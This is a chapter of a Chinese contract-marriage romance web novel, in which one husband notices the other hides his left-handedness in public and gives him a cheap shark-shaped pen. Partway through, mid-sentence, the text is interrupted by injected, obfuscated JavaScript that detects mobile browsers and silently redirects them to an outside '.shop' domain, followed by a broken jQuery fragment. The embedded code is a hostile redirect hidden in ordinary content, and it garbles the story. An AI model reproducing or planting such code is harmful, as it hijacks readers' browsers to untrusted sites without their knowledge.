林煜辰到餐厅时，长桌上只摆着一副餐具。
阿姨端着烤好的吐司出来，看见他，险些把盘子碰上门框。
“林先生，您今天这么早？”
“很意外？”林煜辰问。
“您昨天说早餐七点半。”
“我来熟悉场地。”
阿姨看了眼他常坐的位置。
餐厅每天都在这里，桌椅也没连夜换过。
她忍住笑，把另一套餐具摆上去：“许先生七点二十下楼。”
林煜辰在窗边坐了十来分钟，领带调整过三次，手机屏幕亮起又熄灭。
他昨晚定了四个闹钟，六点四十便进了餐厅，比两人约好的时间提前整整四十分钟。
七点二十，楼梯上传来脚步声。
许承安走进餐厅，一眼看见桌边的人：“你几点来的？”
“刚到。”
阿姨在旁边说：“林先生六点五十就到了。”
林煜辰回头：“陈姨，雇主隐私也属于隐私。”
“我去拿牛奶。”阿姨笑着进了厨房。
许承安拉开椅子坐下：“你可以多睡半小时。”
“第一次正式约会，我得表现积极。”
许承安纠正：“是早餐。”
“项目名称可以调整。”
“我九点有晨会。”
“约会时长四十分钟，确实很许承安。”林煜辰说。
许承安拿过桌边的平板，左手握住触控笔，划掉日程表上的一项安排：“下午三点，澜城儿童医疗基金有一场捐赠仪式，你跟我一起出席。”
“私人邀请？”林煜辰挑了下眉。
“《联姻协议》第五条。”
“许总这张嘴，开口就把人打回甲方乙方。”林煜辰拿起咖啡，视线越过杯沿，落在许承安握笔的手上。
婚戒戴在左手无名指。
细窄的银圈随着动作掠过晨光。许承安写字很快，笔锋在屏幕上连成几道，左手从数字键盘移到文件边缘，动作流畅。
林煜辰想起两人的婚礼。
交换戒指时，他刚拉过许承安的右手，对方便提醒他“左手。”
他当时只当许承安讲究婚礼礼节，给人戴完，转眼便把这点细节抛到了脑后。
许承安将平板放下：“看什么？”
“看你。”
“早餐在桌上。”许承安说。
“吐司每天都能看，你得预约。”
许承安拿起牛奶喝了一口。
杯子原本摆在右侧，他的左手越过桌面去取，手腕折出的角度略显别扭。
林煜辰伸手，把杯子挪到他左边。
这个动作做得随意，许承安的目光随着杯子移动，落在林煜辰的手指上。
“放这儿顺手。”林煜辰拿起自己那片吐司：“下午需要我做什么？”
“签捐赠确认书，接受两分钟采访。”
“采访稿有标准答案吗？”林煜辰问。
“有。”
“发给我也白发。”
“所以公关部准备了现场应急预案。”许承安说。
林煜辰咬了一口吐司：“你们对我的信任很感人。”
许承安语气平直：“这是基于历史数据作出的合理判断。”
三点整，捐赠仪式在许氏旗下的和宁私立医院举行。
大厅里搭起一座半人高的蓝色背景板，旁边挂着康复中心孩子们画的画。媒体区挤满镜头，补光灯照得人睁不开眼。
许承安刚下车，基金会负责人便迎了上来。
林煜辰走在他身旁，手掌虚扶了一下他的后腰，隔着西装布料轻轻一碰，随即收回。
镜头捕捉到这个动作，快门声顿时密了几分。
“林先生，许先生，请看中间。”
两人站到签名台后。
礼仪人员翻开确认书，将两支钢笔分别放在他们右侧。
林煜辰拿起自己的笔，签得潇洒。最后一笔落下时，他侧头看了一眼。
许承安的左手压着纸页，右手握笔，签名依旧利落。笔尖划到末尾，他右手腕部轻微一顿，很快便收了笔。
台下有人喊：“两位靠近一点。”
林煜辰往旁边挪了半步，肩膀贴上许承安：“够近吗？”
媒体记者回道：“林先生可以再近一点。”
“再近就是收费项目了。”
现场响起一阵笑声。
许承安偏头提醒：“少说两句。”
“许总害羞。”林煜辰打趣道。
“我怕公关部加班。”
林煜辰抬手搭住他的肩，面对镜头笑得坦荡。
许承安维持着礼貌的神情，左手垂在身侧，手指无意识活动了一下腕部。
捐赠仪式结束后，两人走过儿童画展。
一个戴着黄色帽子的男孩站在展板前，手里抓着几支活动赠送的文具。
他认出刚才台上的人，犹豫了一会儿，从里面挑出一支深蓝色的笔，递给林煜辰。
笔帽做成鲨鱼头，露着两排白牙。
林煜辰弯下腰接过来：“给我的？”
男孩点头：“你刚才说话好玩。”
“眼光不错。”
许承安站在旁边：“他今年八岁。”
“审美能力和年龄无关。”林煜辰说。
男孩又从口袋里掏出一支绿色的笔，朝许承安递过去。
许承安刚伸手，带队老师便匆匆赶来，把孩子拉回身边。
“抱歉，许总，他总喜欢到处送东西。”
“没关系。”许承安说。
男孩被老师领走，那支绿色的笔仍攥在手里。
走出几步，他回头朝他们挥了挥手。
林煜辰把鲨鱼笔夹进胸前口袋：“看来我比较招人喜欢。”
许承安看了他一眼：“你更适合儿童沟通。”
“听着不像夸奖。”
“理解正确。”
回到曜川中心，许承安还有两份加急文件需要签。
林煜辰坐在办公室的会客沙发上，低头回复林氏集团的项目邮件。
程霁送进文件：“许总，审计组四点前要拿走原件。”
许承安翻到签字页，从西装内袋取出钢笔。
笔尖落在纸面，只留下一道极浅的痕迹。
许承安又写了一次，依旧断墨。
“换支笔。”他说。
程霁正要转身，林煜辰的电话响了。
他接起助理打来的项目电话，从胸前口袋抽出那支鲨鱼笔，在手背上试了一下。
蓝色墨水划出一道清晰的直线。
林煜辰走到办公桌旁，仍在听对面汇报。他用右手拔开笔帽，随手把笔推到许承安左侧。
“用这个。”
鲨鱼笔滑过桌面，停在许承安左手边。
笔帽上的塑料鱼鳍晃了两下，造型和这张办公桌格格不入。
林煜辰已经转身走向窗边，对着电话那端说道：“临江项目的税费方案重新发给地方，产值对赌一项都别留。道路扩建需要写进合同附件，口头承诺不进测算模型……”
许承安伸出左手，拿起那支
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781788|210121||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笔。
他在两份文件上签完名字。
鲨鱼嘴正朝着他的虎口，咧得十分嚣张。
林煜辰挂断电话，转身看见许承安仍握着那支笔：“写不出来？”
“能写。”
“那你盯着它做什么？”林煜辰问。
许承安把文件交给程霁：“先送过去。”
程霁接过材料，离开办公室。
房门关上后，许承安抬起左手：“你为什么把笔放在这里？”
林煜辰朝他手边看了一眼：“离你近。”
“右边距离也一样。”
“你用左手。”林煜辰说得很随意，像一件不起眼的小事。
办公室里静了一瞬。
许承安看向他：“你什么时候开始留意我在外面会换手？”
“早餐时。”林煜辰拉开桌前的椅子，在他对面坐下：“以前只知道你平时会用左手，没留意你在公开场合总换成右手。早上你拿牛奶、划平板都用左手，上台签字才换了右手。”
许承安将鲨鱼笔搁在桌上：“你观察得很细。”
“我最近主攻观察项目，昨天刚交过学费。”林煜辰说。
“你想问什么？”
“你愿意说什么？”
许承安的指尖压住文件页角，抬眼望着他。
林煜辰靠进椅背：“原因留到你愿意讲的时候。我现在只负责把东西递对位置。”
“你以前没留意我会刻意换手。”
“以前的林煜辰眼神不差，心思没放对地方。”林煜辰顿了顿：“最近治好了。”
许承安垂眼看向桌上的笔：“医院眼科技术进步很快。”
“许总夸人也进步很快。”
“这支笔你拿走。”
林煜辰回道：“活动赠品，零售价撑死五块。程助理走财务流程的工时都比它贵。”
“我用惯了钢笔。”
“偶尔换换口味。”林煜辰起身，手掌撑上桌沿：“我明天来验收。笔要是丢了，赔我一艘游艇。”
许承安抬起头：“礼物退给你了。”
“这次是索赔。”
“法律不会支持。”
“家属内部可以调解。”林煜辰拿起椅背上的外套，走到办公室门口，又回身指了一下那支笔：“别放右边。鲨鱼转头容易晕。”
房门合拢，办公室里恢复安静。
程霁送完文件回来，看见那支鲨鱼笔还在桌上：“许总，需要我还给林先生吗？”
“他已经走了。”
“可以让前台转交。”程霁伸手去拿。
指尖刚碰到笔帽，许承安先一步将笔收进掌心：“零售价几块的东西，专程送一趟，不符合成本原则。”
程霁把手收了回去：“明白。”
傍晚六点，办公室只剩桌上的工作灯还亮着。
许承安处理完最后一份材料，伸手去拿常用的钢笔，指尖却在半空换了方向。
深蓝色的鲨鱼笔躺在左手边。
他拿起来，在文件末页签下名字。
笔尖出墨流畅，蓝黑色的字迹落在纸上。鲨鱼头随着笔杆晃动，露出一排白色塑料牙。
手机屏幕亮起，林煜辰发来一条消息。
【鲨鱼是否适应曜川中心的办公环境？】
许承安看了一眼手里的笔：【外观影响专业形象。】
对面很快回复。
【退货地址：云麓湾，林煜辰本人签收。】
许承安将手机扣回桌面，鲨鱼笔随手插进了办公桌左侧的笔筒。
没退。